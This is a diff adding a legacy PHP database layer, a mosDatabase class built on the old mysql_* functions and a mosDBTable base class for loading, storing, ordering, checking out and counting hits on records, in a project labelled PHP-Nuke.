+					$basePath = dirname( __FILE__ );
+					include $basePath . '/../configuration.php';
+					include $basePath . '/../offline.php';
+					exit();
+				}
+			}
+		} else {		
+			if (!($this->_resource = @mysql_connect( $host, $user, $pass, true ))) {
+				$mosSystemError = 2;
+				if ($goOffline) {
+					$basePath = dirname( __FILE__ );
+					include $basePath . '/../configuration.php';
+					include $basePath . '/../offline.php';
+					exit();
+				}
+			}
+		}
+		if ($db != '' && !mysql_select_db( $db, $this->_resource )) {
+			$mosSystemError = 3;
+			if ($goOffline) {
+				$basePath = dirname( __FILE__ );
+				include $basePath . '/../configuration.php';
+				include $basePath . '/../offline.php';
+				exit();
+			}
+		}
+		$this->_table_prefix = $table_prefix;
+        //@mysql_query("SET NAMES 'utf8'", $this->_resource);
+		$this->_ticker = 0;
+		$this->_log = array();
+	}
+	/**
+	 * @param int
+	 */
+	function debug( $level ) {
+		$this->_debug = intval( $level );
+	}
+	/**
+	 * @return int The error number for the most recent query
+	 */
+	function getErrorNum() {
+		return $this->_errorNum;
+	}
+	/**
+	* @return string The error message for the most recent query
+	*/
+	function getErrorMsg() {
+		return str_replace( array( "\n", "'" ), array( '\n', "\'" ), $this->_errorMsg );
+	}
+	/**
+	* Get a database escaped string
+	* @return string
+	*/
+	function getEscaped( $text ) {
+		return mysql_escape_string( $text );
+	}
+	/**
+	* Get a quoted database escaped string
+	* @return string
+	*/
+	function Quote( $text ) {
+		return '\'' . $this->getEscaped( $text ) . '\'';
+	}
+	/**
+	 * Quote an identifier name (field, table, etc)
+	 * @param string The name
+	 * @return string The quoted name
+	 */
+	function NameQuote( $s ) {
+		$q = $this->_nameQuote;
+		if (strlen( $q ) == 1) {
+			return $q . $s . $q;
+		} else {
+			return $q{0} . $s . $q{1};
+		}
+	}
+	/**
+	 * @return string The database prefix
+	 */
+	function getPrefix() {
+		return $this->_table_prefix;
+	}
+	/**
+	 * @return string Quoted null/zero date string
+	 */
+	function getNullDate() {
+		return $this->_nullDate;
+	}
+	/**
+	* Sets the SQL query string for later execution.
+	*
+	* This function replaces a string identifier <var>$prefix</var> with the
+	* string held is the <var>_table_prefix</var> class variable.
+	*
+	* @param string The SQL query
+	* @param string The offset to start selection
+	* @param string The number of results to return
+	* @param string The common table prefix
+	*/
+	function setQuery( $sql, $offset = 0, $limit = 0, $prefix='#__' ) {
+		$this->_sql = $this->replacePrefix( $sql, $prefix );
+		$this->_limit = intval( $limit );
+		$this->_offset = intval( $offset );
+	}
+
+	/**
+	 * This function replaces a string identifier <var>$prefix</var> with the
+	 * string held is the <var>_table_prefix</var> class variable.
+	 *
+	 * @param string The SQL query
+	 * @param string The common table prefix
+	 * @author thede, David McKinnis
+	 */
+	function replacePrefix( $sql, $prefix='#__' ) {
+		$sql = trim( $sql );
+
+		$escaped = false;
+		$quoteChar = '';
+
+		$n = strlen( $sql );
+
+		$startPos = 0;
+		$literal = '';
+		while ($startPos < $n) {
+			$ip = strpos($sql, $prefix, $startPos);
+			if ($ip === false) {
+				break;
+			}
+
+			$j = strpos( $sql, "'", $startPos );
+			$k = strpos( $sql, '"', $startPos );
+			if (($k !== FALSE) && (($k < $j) || ($j === FALSE))) {
+				$quoteChar	= '"';
+				$j			= $k;
+			} else {
+				$quoteChar	= "'";
+			}
+
+			if ($j === false) {
+				$j = $n;
+			}
+
+			$literal .= str_replace( $prefix, $this->_table_prefix, substr( $sql, $startPos, $j - $startPos ) );
+			$startPos = $j;
+
+			$j = $startPos + 1;
+
+			if ($j >= $n) {
+				break;
+			}
+
+			// quote comes first, find end of quote
+			while (TRUE) {
+				$k = strpos( $sql, $quoteChar, $j );
+				$escaped = false;
+				if ($k === false) {
+					break;
+				}
+				$l = $k - 1;
+				while ($l >= 0 && $sql{$l} == '\\') {
+					$l--;
+					$escaped = !$escaped;
+				}
+				if ($escaped) {
+					$j	= $k+1;
+					continue;
+				}
+				break;
+			}
+			if ($k === FALSE) {
+				// error in the query - no end quote; ignore it
+				break;
+			}
+			$literal .= substr( $sql, $startPos, $k - $startPos + 1 );
+			$startPos = $k+1;
+		}
+		if ($startPos < $n) {
+			$literal .= substr( $sql, $startPos, $n - $startPos );
+		}
+		return $literal;
+	}
+	/**
+	* @return string The current value of the internal SQL vairable
+	*/
+	function getQuery() {
+		return "<pre>" . htmlspecialchars( $this->_sql ) . "</pre>";
+	}
+	/**
+	* Execute the query
+	* @return mixed A database resource if successful, FALSE if not.
+	*/
+	function query() {
+		global $mosConfig_debug;
+		if ($this->_limit > 0 && $this->_offset == 0) {
+			$this->_sql .= "\nLIMIT $this->_limit";
+		} else if ($this->_limit > 0 || $this->_offset > 0) {
+			$this->_sql .= "\nLIMIT $this->_offset, $this->_limit";
+		}		
+		if ($this->_debug) {
+			$this->_ticker++;
+	  		$this->_log[] = $this->_sql;
+		}
+		$this->_errorNum = 0;
+		$this->_errorMsg = '';
+		$this->_cursor = mysql_query( $this->_sql, $this->_resource );
+		if (!$this->_cursor) {
+			$this->_errorNum = mysql_errno( $this->_resource );
+			$this->_errorMsg = mysql_error( $this->_resource )." SQL=$this->_sql";
+			if ($this->_debug) {
+				trigger_error( mysql_error( $this->_resource ), E_USER_NOTICE );
+				//echo "<pre>" . $this->_sql . "</pre>\n";
+				if (function_exists( 'debug_backtrace' )) {
+					foreach( debug_backtrace() as $back) {
+						if (@$back['file']) {
+							echo '<br />'.$back['file'].':'.$back['line'];
+						}
+					}
+				}
+			}
+			return false;
+		}
+		return $this->_cursor;
+	}
+
+	/**
+	 * @return int The number of affected rows in the previous operation
+	 */
+	function getAffectedRows() {
+		return mysql_affected_rows( $this->_resource );
+	}
+
+	function query_batch( $abort_on_error=true, $p_transaction_safe = false) {
+		$this->_errorNum = 0;
+		$this->_errorMsg = '';
+		if ($p_transaction_safe) {
+			$si = mysql_get_server_info( $this->_resource );
+			preg_match_all( "/(\d+)\.(\d+)\.(\d+)/i", $si, $m );
+			if ($m[1] >= 4) {
+				$this->_sql = 'START TRANSACTION;' . $this->_sql . '; COMMIT;';
+			} else if ($m[2] >= 23 && $m[3] >= 19) {
+				$this->_sql = 'BEGIN WORK;' . $this->_sql . '; COMMIT;';
+			} else if ($m[2] >= 23 && $m[3] >= 17) {
+				$this->_sql = 'BEGIN;' . $this->_sql . '; COMMIT;';
+			}
+		}
+		$query_split = preg_split ("/[;]+/", $this->_sql);
+		$error = 0;
+		foreach ($query_split as $command_line) {
+			$command_line = trim( $command_line );
+			if ($command_line != '') {
+				$this->_cursor = mysql_query( $command_line, $this->_resource );
+				if (!$this->_cursor) {
+					$error = 1;
+					$this->_errorNum .= mysql_errno( $this->_resource ) . ' ';
+					$this->_errorMsg .= mysql_error( $this->_resource )." SQL=$command_line <br />";
+					if ($abort_on_error) {
+						return $this->_cursor;
+					}
+				}
+			}
+		}
+		return $error ? false : true;
+	}
+
+	/**
+	* Diagnostic function
+	*/
+	function explain() {
+		$temp = $this->_sql;
+		$this->_sql = "EXPLAIN $this->_sql";
+		$this->query();
+
+		if (!($cur = $this->query())) {
+			return null;
+		}
+		$first = true;
+
+		$buf = "<table cellspacing=\"1\" cellpadding=\"2\" border=\"0\" bgcolor=\"#000000\" align=\"center\">";
+		$buf .= $this->getQuery();
+		while ($row = mysql_fetch_assoc( $cur )) {
+			if ($first) {
+				$buf .= "<tr>";
+				foreach ($row as $k=>$v) {
+					$buf .= "<th bgcolor=\"#ffffff\">$k</th>";
+				}
+				$buf .= "</tr>";
+				$first = false;
+			}
+			$buf .= "<tr>";
+			foreach ($row as $k=>$v) {
+				$buf .= "<td bgcolor=\"#ffffff\">$v</td>";
+			}
+			$buf .= "</tr>";
+		}
+		$buf .= "</table><br />&nbsp;";
+		mysql_free_result( $cur );
+
+		$this->_sql = $temp;
+
+		return "<div style=\"background-color:#FFFFCC\" align=\"left\">$buf</div>";
+	}
+	/**
+	* @return int The number of rows returned from the most recent query.
+	*/
+	function getNumRows( $cur=null ) {
+		return mysql_num_rows( $cur ? $cur : $this->_cursor );
+	}
+
+	/**
+	* This method loads the first field of the first row returned by the query.
+	*
+	* @return The value returned in the query or null if the query failed.
+	*/
+	function loadResult() {
+		if (!($cur = $this->query())) {
+			return null;
+		}
+		$ret = null;
+		if ($row = mysql_fetch_row( $cur )) {
+			$ret = $row[0];
+		}
+		mysql_free_result( $cur );
+		return $ret;
+	}
+	/**
+	* Load an array of single field results into an array
+	*/
+	function loadResultArray($numinarray = 0) {
+		if (!($cur = $this->query())) {
+			return null;
+		}
+		$array = array();
+		while ($row = mysql_fetch_row( $cur )) {
+			$array[] = $row[$numinarray];
+		}
+		mysql_free_result( $cur );
+		return $array;
+	}
+	/**
+	* Load a assoc list of database rows
+	* @param string The field name of a primary key
+	* @return array If <var>key</var> is empty as sequential list of returned records.
+	*/
+	function loadAssocList( $key='' ) {
+		if (!($cur = $this->query())) {
+			return null;
+		}
+		$array = array();
+		while ($row = mysql_fetch_assoc( $cur )) {
+			if ($key) {
+				$array[$row[$key]] = $row;
+			} else {
+				$array[] = $row;
+			}
+		}
+		mysql_free_result( $cur );
+		return $array;
+	}
+	/**
+	* This global function loads the first row of a query into an object
+	*
+	* If an object is passed to this function, the returned row is bound to the existing elements of <var>object</var>.
+	* If <var>object</var> has a value of null, then all of the returned query fields returned in the object.
+	* @param string The SQL query
+	* @param object The address of variable
+	*/
+	function loadObject( &$object ) {
+		if ($object != null) {
+			if (!($cur = $this->query())) {
+				return false;
+			}
+			if ($array = mysql_fetch_assoc( $cur )) {
+				mysql_free_result( $cur );
+				mosBindArrayToObject( $array, $object, null, null, false );
+				return true;
+			} else {
+				return false;
+			}
+		} else {
+			if ($cur = $this->query()) {
+				if ($object = mysql_fetch_object( $cur )) {
+					mysql_free_result( $cur );
+					return true;
+				} else {
+					$object = null;
+					return false;
+				}
+			} else {
+				return false;
+			}
+		}
+	}
+	/**
+	* Load a list of database objects
+	* @param string The field name of a primary key
+	* @return array If <var>key</var> is empty as sequential list of returned records.
+	* If <var>key</var> is not empty then the returned array is indexed by the value
+	* the database key.  Returns <var>null</var> if the query fails.
+	*/
+	function loadObjectList( $key='' ) {
+		if (!($cur = $this->query())) {
+			return null;
+		}
+		$array = array();
+		while ($row = mysql_fetch_object( $cur )) {
+			if ($key) {
+				$array[$row->$key] = $row;
+			} else {
+				$array[] = $row;
+			}
+		}
+		mysql_free_result( $cur );
+		return $array;
+	}
+	/**
+	* @return The first row of the query.
+	*/
+	function loadRow() {
+		if (!($cur = $this->query())) {
+			return null;
+		}
+		$ret = null;
+		if ($row = mysql_fetch_row( $cur )) {
+			$ret = $row;
+		}
+		mysql_free_result( $cur );
+		return $ret;
+	}
+	/**
+	* Load a list of database rows (numeric column indexing)
+	* @param string The field name of a primary key
+	* @return array If <var>key</var> is empty as sequential list of returned records.
+	* If <var>key</var> is not empty then the returned array is indexed by the value
+	* the database key.  Returns <var>null</var> if the query fails.
+	*/
+	function loadRowList( $key=null ) {
+		if (!($cur = $this->query())) {
+			return null;
+		}
+		$array = array();
+		while ($row = mysql_fetch_row( $cur )) {
+			if ( !is_null( $key ) ) {
+				$array[$row[$key]] = $row;
+			} else {
+				$array[] = $row;
+			}
+		}
+		mysql_free_result( $cur );
+		return $array;
+	}
+	/**
+	* Document::db_insertObject()
+	*
+	* { Description }
+	*
+	* @param [type] $keyName
+	* @param [type] $verbose
+	*/
+	function insertObject( $table, &$object, $keyName = NULL, $verbose=false ) {
+		$fmtsql = "INSERT INTO $table ( %s ) VALUES ( %s ) ";
+		$fields = array();
+		foreach (get_object_vars( $object ) as $k => $v) {
+			if (is_array($v) or is_object($v) or $v === NULL) {
+				continue;
+			}
+			if ($k[0] == '_') { // internal field
+				continue;
+			}
+			$fields[] = $this->NameQuote( $k );
+			$values[] = $this->Quote( $v );
+		}
+		$this->setQuery( sprintf( $fmtsql, implode( ",", $fields ) ,  implode( ",", $values ) ) );
+		($verbose) && print "$sql<br />\n";
+		if (!$this->query()) {
+			return false;
+		}
+		$id = mysql_insert_id( $this->_resource );
+		($verbose) && print "id=[$id]<br />\n";
+		if ($keyName && $id) {
+			$object->$keyName = $id;
+		}
+		return true;
+	}
+
+	/**
+	* Document::db_updateObject()
+	*
+	* { Description }
+	*
+	* @param [type] $updateNulls
+	*/
+	function updateObject( $table, &$object, $keyName, $updateNulls=true ) {
+		$fmtsql = "UPDATE $table SET %s WHERE %s";
+		$tmp = array();
+		foreach (get_object_vars( $object ) as $k => $v) {
+			if( is_array($v) or is_object($v) or $k[0] == '_' ) { // internal or NA field
+				continue;
+			}
+			if( $k == $keyName ) { // PK not to be updated
+				$where = $keyName . '=' . $this->Quote( $v );
+				continue;
+			}
+			if ($v === NULL && !$updateNulls) {
+				continue;
+			}
+			if( $v == '' ) {
+				$val = "''";
+			} else {
+				$val = $this->Quote( $v );
+			}
+			$tmp[] = $this->NameQuote( $k ) . '=' . $val;
+		}
+		$this->setQuery( sprintf( $fmtsql, implode( ",", $tmp ) , $where ) );
+		return $this->query();
+	}
+
+	/**
+	* @param boolean If TRUE, displays the last SQL statement sent to the database
+	* @return string A standised error message
+	*/
+	function stderr( $showSQL = false ) {
+		return "DB function failed with error number $this->_errorNum"
+		."<br /><font color=\"red\">$this->_errorMsg</font>"
+		.($showSQL ? "<br />SQL = <pre>$this->_sql</pre>" : '');
+	}
+
+	function insertid() {
+		return mysql_insert_id( $this->_resource );
+	}
+
+	function getVersion() {
+		return mysql_get_server_info( $this->_resource );
+	}
+
+	/**
+	 * @return array A list of all the tables in the database
+	 */
+	function getTableList() {
+		$this->setQuery( 'SHOW TABLES' );
+		return $this->loadResultArray();
+	}
+	/**
+	 * @param array A list of table names
+	 * @return array A list the create SQL for the tables
+	 */
+	function getTableCreate( $tables ) {
+		$result = array();
+
+		foreach ($tables as $tblval) {
+			$this->setQuery( 'SHOW CREATE table ' . $this->getEscaped( $tblval ) );
+			$rows = $this->loadRowList();
+			foreach ($rows as $row) {
+				$result[$tblval] = $row[1];
+			}
+		}
+
+		return $result;
+	}
+	/**
+	 * @param array A list of table names
+	 * @return array An array of fields by table
+	 */
+	function getTableFields( $tables ) {
+		$result = array();
+
+		foreach ($tables as $tblval) {
+			$this->setQuery( 'SHOW FIELDS FROM ' . $tblval );
+			$fields = $this->loadObjectList();
+			foreach ($fields as $field) {
+				$result[$tblval][$field->Field] = preg_replace("/[(0-9)]/",'', $field->Type );
+			}
+		}
+
+		return $result;
+	}
+
+	/**
+	* Fudge method for ADOdb compatibility
+	*/
+	function GenID( $foo1=null, $foo2=null ) {
+		return '0';
+	}
+}
+
+/**
+* mosDBTable Abstract Class.
+* @abstract
+* @package PHP-Nuke
+* @subpackage Database
+*
+* Parent classes to all database derived objects.  Customisation will generally
+* not involve tampering with this object.
+* @package PHP-Nuke
+* @author Andrew Eddie <eddieajau@users.sourceforge.net
+*/
+class mosDBTable {
+	/** @var string Name of the table in the db schema relating to child class */
+	var $_tbl 		= '';
+	/** @var string Name of the primary key field in the table */
+	var $_tbl_key 	= '';
+	/** @var string Error message */
+	var $_error 	= '';
+	/** @var mosDatabase Database connector */
+	var $_db 		= null;
+
+	/**
+	*	Object constructor to set table and key field
+	*
+	*	Can be overloaded/supplemented by the child class
+	*	@param string $table name of the table in the db schema relating to child class
+	*	@param string $key name of the primary key field in the table
+	*/
+	function mosDBTable( $table, $key, &$db ) {
+		$this->_tbl = $table;
+		$this->_tbl_key = $key;
+		$this->_db =& $db;
+	}
+
+	/**
+	 * Returns an array of public properties
+	 * @return array
+	 */
+	function getPublicProperties() {
+		static $cache = null;
+		if (is_null( $cache )) {
+			$cache = array();
+			foreach (get_class_vars( get_class( $this ) ) as $key=>$val) {
+				if (substr( $key, 0, 1 ) != '_') {
+					$cache[] = $key;
+				}
+			}
+		}
+		return $cache;
+	}
+	/**
+	 * Filters public properties
+	 * @access protected
+	 * @param array List of fields to ignore
+	 */
+	function filter( $ignoreList=null ) {
+		$ignore = is_array( $ignoreList );
+
+		$iFilter = new InputFilter();
+		foreach ($this->getPublicProperties() as $k) {
+			if ($ignore && in_array( $k, $ignoreList ) ) {
+				continue;
+			}
+			$this->$k = $iFilter->process( $this->$k );
+		}
+	}
+	/**
+	 *	@return string Returns the error message
+	 */
+	function getError() {
+		return $this->_error;
+	}
+	/**
+	* Gets the value of the class variable
+	* @param string The name of the class variable
+	* @return mixed The value of the class var (or null if no var of that name exists)
+	*/
+	function get( $_property ) {
+		if(isset( $this->$_property )) {
+			return $this->$_property;
+		} else {
+			return null;
+		}
+	}
+
+	/**
+	* Set the value of the class variable
+	* @param string The name of the class variable
+	* @param mixed The value to assign to the variable
+	*/
+	function set( $_property, $_value ) {
+		$this->$_property = $_value;
+	}
+
+	/**
+	 * Resets public properties
+	 * @param mixed The value to set all properties to, default is null
+	 */
+	function reset( $value=null ) {
+		$keys = $this->getPublicProperties();
+		foreach ($keys as $k) {
+			$this->$k = $value;
+		}
+	}
+	/**
+	*	binds a named array/hash to this object
+	*
+	*	can be overloaded/supplemented by the child class
+	*	@param array $hash named array
+	*	@return null|string	null is operation was satisfactory, otherwise returns an error
+	*/
+	function bind( $array, $ignore='' ) {
+		if (!is_array( $array )) {
+			$this->_error = strtolower(get_class( $this ))."::bind failed.";
+			return false;
+		} else {
+			return mosBindArrayToObject( $array, $this, $ignore );
+		}
+	}
+
+	/**
+	*	binds an array/hash to this object
+	*	@param int $oid optional argument, if not specifed then the value of current key is used
+	*	@return any result from the database operation
+	*/
+	function load( $oid=null ) {
+		$k = $this->_tbl_key;
+		
+		if ($oid !== null) {
+			$this->$k = $oid;
+		}
+		
+		$oid = $this->$k;
+		
+		if ($oid === null) {
+			return false;
+		}
+		
+		$class_vars = get_class_vars(get_class($this));
+		foreach ($class_vars as $name => $value) {
+			if (($name != $k) and ($name != "_db") and ($name != "_tbl") and ($name != "_tbl_key")) {
+				$this->$name = $value;
+			}
+		}
+		
+		$this->reset();
+		
+		$query = "SELECT *"
+		. "\n FROM $this->_tbl"
+		. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $oid )
+		;
+		$this->_db->setQuery( $query );
+		
+		return $this->_db->loadObject( $this );
+	}
+
+	/**
+	*	generic check method
+	*
+	*	can be overloaded/supplemented by the child class
+	*	@return boolean True if the object is ok
+	*/
+	function check() {
+		return true;
+	}
+
+	/**
+	* Inserts a new row if id is zero or updates an existing row in the database table
+	*
+	* Can be overloaded/supplemented by the child class
+	* @param boolean If false, null object variables are not updated
+	* @return null|string null if successful otherwise returns and error message
+	*/
+	function store( $updateNulls=false ) {
+		$k = $this->_tbl_key;
+
+		if ($this->$k != 0) {
+			$ret = $this->_db->updateObject( $this->_tbl, $this, $this->_tbl_key, $updateNulls );
+		} else {
+			$ret = $this->_db->insertObject( $this->_tbl, $this, $this->_tbl_key );
+		}
+		if( !$ret ) {
+			$this->_error = strtolower(get_class( $this ))."::store failed <br />" . $this->_db->getErrorMsg();
+			return false;
+		} else {
+			return true;
+		}
+	}
+	/**
+	*/
+	function move( $dirn, $where='' ) {
+		$k = $this->_tbl_key;
+
+		$sql = "SELECT $this->_tbl_key, ordering FROM $this->_tbl";
+
+		if ($dirn < 0) {
+			$sql .= "\n WHERE ordering < " . (int) $this->ordering;
+			$sql .= ($where ? "\n	AND $where" : '');
+			$sql .= "\n ORDER BY ordering DESC";
+			$sql .= "\n LIMIT 1";
+		} else if ($dirn > 0) {
+			$sql .= "\n WHERE ordering > " . (int) $this->ordering;
+			$sql .= ($where ? "\n	AND $where" : '');
+			$sql .= "\n ORDER BY ordering";
+			$sql .= "\n LIMIT 1";
+		} else {
+			$sql .= "\nWHERE ordering = " . (int) $this->ordering;
+			$sql .= ($where ? "\n AND $where" : '');
+			$sql .= "\n ORDER BY ordering";
+			$sql .= "\n LIMIT 1";
+		}
+
+		$this->_db->setQuery( $sql );
+//echo 'A: ' . $this->_db->getQuery();
+
+
+		$row = null;
+		if ($this->_db->loadObject( $row )) {
+			$query = "UPDATE $this->_tbl"
+			. "\n SET ordering = " . (int) $row->ordering
+			. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $this->$k )
+			;
+			$this->_db->setQuery( $query );
+
+			if (!$this->_db->query()) {
+				$err = $this->_db->getErrorMsg();
+				die( $err );
+			}
+//echo 'B: ' . $this->_db->getQuery();
+
+			$query = "UPDATE $this->_tbl"
+			. "\n SET ordering = " . (int) $this->ordering
+			. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $row->$k )
+			;
+			$this->_db->setQuery( $query );
+//echo 'C: ' . $this->_db->getQuery();
+
+			if (!$this->_db->query()) {
+				$err = $this->_db->getErrorMsg();
+				die( $err );
+			}
+
+			$this->ordering = $row->ordering;
+		} else {
+			$query = "UPDATE $this->_tbl"
+			. "\n SET ordering = " . (int) $this->ordering
+			. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $this->$k )
+			;
+			$this->_db->setQuery( $query );
+//echo 'D: ' . $this->_db->getQuery();
+
+
+			if (!$this->_db->query()) {
+				$err = $this->_db->getErrorMsg();
+				die( $err );
+			}
+		}
+	}
+	/**
+	* Compacts the ordering sequence of the selected records
+	* @param string Additional where query to limit ordering to a particular subset of records
+	*/
+	function updateOrder( $where='' ) {
+		$k = $this->_tbl_key;
+
+		if (!array_key_exists( 'ordering', get_class_vars( strtolower(get_class( $this )) ) )) {
+			$this->_error = "WARNING: ".strtolower(get_class( $this ))." does not support ordering.";
+			return false;
+		}
+
+		if ($this->_tbl == "#__content_frontpage") {
+			$order2 = ", content_id DESC";
+		} else {
+			$order2 = '';
+		}
+
+		$query = "SELECT $this->_tbl_key, ordering"
+		. "\n FROM $this->_tbl"
+		. ( $where ? "\n WHERE $where" : '' )
+		. "\n ORDER BY ordering$order2 "
+		;
+		$this->_db->setQuery( $query );
+		if (!($orders = $this->_db->loadObjectList())) {
+			$this->_error = $this->_db->getErrorMsg();
+			return false;
+		}
+		// first pass, compact the ordering numbers
+		for ($i=0, $n=count( $orders ); $i < $n; $i++) {
+			if ($orders[$i]->ordering >= 0) {
+				$orders[$i]->ordering = $i+1;
+			}
+		}
+
+		$shift = 0;
+		$n=count( $orders );
+		for ($i=0; $i < $n; $i++) {
+			//echo "i=$i id=".$orders[$i]->$k." order=".$orders[$i]->ordering;
+			if ($orders[$i]->$k == $this->$k) {
+				// place 'this' record in the desired location
+				$orders[$i]->ordering = min( $this->ordering, $n );
+				$shift = 1;
+			} else if ($orders[$i]->ordering >= $this->ordering && $this->ordering > 0) {
+				$orders[$i]->ordering++;
+			}
+		}
+	//echo '<pre>';print_r($orders);echo '</pre>';
+		// compact once more until I can find a better algorithm
+		for ($i=0, $n=count( $orders ); $i < $n; $i++) {
+			if ($orders[$i]->ordering >= 0) {
+				$orders[$i]->ordering = $i+1;
+				$query = "UPDATE $this->_tbl"
+				. "\n SET ordering = " . (int) $orders[$i]->ordering
+				. "\n WHERE $k = " . $this->_db->Quote( $orders[$i]->$k )
+				;
+				$this->_db->setQuery( $query);
+				$this->_db->query();
+	//echo '<br />'.$this->_db->getQuery();
+			}
+		}
+
+		// if we didn't reorder the current record, make it last
+		if ($shift == 0) {
+			$order = $n+1;
+			$query = "UPDATE $this->_tbl"
+			. "\n SET ordering = " . (int) $order
+			. "\n WHERE $k = " . $this->_db->Quote( $this->$k )
+			;
+			$this->_db->setQuery( $query );
+			$this->_db->query();
+	//echo '<br />'.$this->_db->getQuery();
+		}
+		return true;
+	}
+	/**
+	*	Generic check for whether dependancies exist for this object in the db schema
+	*
+	*	can be overloaded/supplemented by the child class
+	*	@param string $msg Error message returned
+	*	@param int Optional key index
+	*	@param array Optional array to compiles standard joins: format [label=>'Label',name=>'table name',idfield=>'field',joinfield=>'field']
+	*	@return true|false
+	*/
+	function canDelete( $oid=null, $joins=null ) {
+		$k = $this->_tbl_key;
+		if ($oid) {
+			$this->$k = intval( $oid );
+		}
+		if (is_array( $joins )) {
+			$select = $k;
+			$join = '';
+			foreach( $joins as $table ) {
+				$tblName = $this->getEscaped( $table['name'] );
+				$idField = $this->getEscaped( $table['idfield'] );
+				$jnField = $this->getEscaped( $table['joinfield'] );
+				$select .= ",\n COUNT(DISTINCT `$tblName`.`$idField`) AS `count_".substr($tblName, 3)."_$idField`";
+				$join .= "\n LEFT JOIN `$tblName` ON `$tblName`.`$jnField` = `$this->_tbl`.`$k`";
+			}
+
+			$query = "SELECT $select"
+			. "\n FROM `$this->_tbl`"
+			. $join
+			. "\n WHERE `$this->_tbl`.`$k` = ". (int) $this->$k
+			. "\n GROUP BY `$this->_tbl`.`$k`"
+			;
+			$this->_db->setQuery( $query );
+
+			$obj = null;
+			if (!$this->_db->loadObject($obj)) {
+				$this->_error = $this->_db->getErrorMsg();
+				return false;
+			}
+			$msg = array();
+			foreach( $joins as $table ) {
+				$tblName = $this->getEscaped( $table['name'] );
+				$idField = $this->getEscaped( $table['idfield'] );
+				$k = 'count_'.substr($tblName, 3).'_'.$idField;
+				if ($obj->$k) {
+					$msg[] = $table['label'];
+				}
+			}
+
+			if (count( $msg )) {
+				$this->_error = "noDeleteRecord" . ": " . implode( ', ', $msg );
+				return false;
+			} else {
+				return true;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	*	Default delete method
+	*
+	*	can be overloaded/supplemented by the child class
+	*	@return true if successful otherwise returns and error message
+	*/
+	function delete( $oid=null ) {
+		//if (!$this->canDelete( $msg )) {
+		//	return $msg;
+		//}
+
+		$k = $this->_tbl_key;
+		if ($oid) {
+			$this->$k = intval( $oid );
+		}
+
+		$query = "DELETE FROM $this->_tbl"
+		. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $this->$k )
+		;
+		$this->_db->setQuery( $query );
+
+		if ($this->_db->query()) {
+			return true;
+		} else {
+			$this->_error = $this->_db->getErrorMsg();
+			return false;
+		}
+	}
+
+	/**
+	 * Checks out an object
+	 * @param int User id
+	 * @param int Object id
+	 */
+	function checkout( $user_id, $oid=null ) {
+		if (!array_key_exists( 'checked_out', get_class_vars( strtolower(get_class( $this )) ) )) {
+			$this->_error = "WARNING: ".strtolower(get_class( $this ))." does not support checkouts.";
+			return false;
+		}
+		$k = $this->_tbl_key;
+		if ($oid !== null) {
+			$this->$k = $oid;
+		}
+
+		$time = date( 'Y-m-d H:i:s' );
+		if (intval( $user_id )) {
+			$user_id = intval( $user_id );
+			// new way of storing editor, by id
+			$query = "UPDATE $this->_tbl"
+			. "\n SET checked_out = $user_id, checked_out_time = " . $this->_db->Quote( $time )
+			. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $this->$k )
+			;
+			$this->_db->setQuery( $query );
+
+            $this->checked_out = $user_id;
+            $this->checked_out_time = $time;
+		} else {
+			$user_id = $this->_db->Quote( $user_id );
+			// old way of storing editor, by name
+			$query = "UPDATE $this->_tbl"
+			. "\n SET checked_out = 1, checked_out_time = " . $this->_db->Quote( $time ) . ", editor = $user_id"
+			. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $this->$k )
+			;
+			$this->_db->setQuery( $query );
+
+			$this->checked_out = 1;
+			$this->checked_out_time = $time;
+			$this->checked_out_editor = $user_id;
+		}
+
+		return $this->_db->query();
+	}
+
+	/**
+	 * Checks in an object
+	 * @param int Object id
+	 */
+	function checkin( $oid=null ) {
+		if (!array_key_exists( 'checked_out', get_class_vars( strtolower(get_class( $this )) ) )) {
+			$this->_error = "WARNING: ".strtolower(get_class( $this ))." does not support checkin.";
+			return false;
+		}
+		$k = $this->_tbl_key;
+		$nullDate 	= $this->_db->getNullDate();
+
+		if ($oid !== null) {
+			$this->$k = intval( $oid );
+		}
+		if ($this->$k == NULL) {
+			return false;
+		}		
+		
+		$query = "UPDATE $this->_tbl"
+		. "\n SET checked_out = 0, checked_out_time = " . $this->_db->Quote( $nullDate )
+		. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $this->$k )
+		;
+		$this->_db->setQuery( $query );
+
+		$this->checked_out = 0;
+		$this->checked_out_time = '';
+
+		return $this->_db->query();
+	}
+
+	/**
+	 * Increments the hit counter for an object
+	 * @param int Object id
+	 */
+	function hit( $oid=null ) {
+		global $mosConfig_enable_log_items;
+
+		$k = $this->_tbl_key;
+		if ($oid !== null) {
+			$this->$k = intval( $oid );
+		}
+
+		$query = "UPDATE $this->_tbl"
+		. "\n SET hits = ( hits + 1 )"
+		. "\n WHERE $this->_tbl_key = " . $this->_db->Quote( $this->id )
+		;
+		$this->_db->setQuery( $query );
+		$this->_db->query();
+
+		if (@$mosConfig_enable_log_items) {
+			$now = date( 'Y-m-d' );
+			$query = "SELECT hits"
+			. "\n FROM #__core_log_items"
+			. "\n WHERE time_stamp = " . $this->_db->Quote( $now )
+			. "\n AND item_table = " . $this->_db->Quote( $this->_tbl )
+			. "\n AND item_id = " . $this->_db->Quote( $this->$k )
+			;
+			$this->_db->setQuery( $query );
+			$hits = intval( $this->_db->loadResult() );
+			if ($hits) {
+				$query = "UPDATE #__core_log_items"
+				. "\n SET hits = ( hits + 1 )"
+				. "\n WHERE time_stamp = " . $this->_db->Quote( $now )
+				. "\n AND item_table = " . $this->_db->Quote( $this->_tbl )
+				. "\n AND item_id = " . $this->_db->Quote( $this->$k )
+				;
+				$this->_db->setQuery( $query );
+				$this->_db->query();
+			} else {
+				$query = "INSERT INTO #__core_log_items"
+				. "\n VALUES ( " . $this->_db->Quote( $now ) . ", " . $this->_db->Quote( $this->_tbl ) . ", " . $this->_db->Quote( $this->$k ) . ", 1 )"
+				;
+				$this->_db->setQuery( $query );
+				$this->_db->query();
+			}
+		}
+	}
+
+	/**
+	 * Tests if item is checked out
+	 * @param int A user id
+	 * @return boolean
+	 */
+	function isCheckedOut( $user_id=0 ) {
+		if ($user_id) {
+			return ($this->checked_out && $this->checked_out != $user_id);
+		} else {
+			return $this->checked_out;
+		}
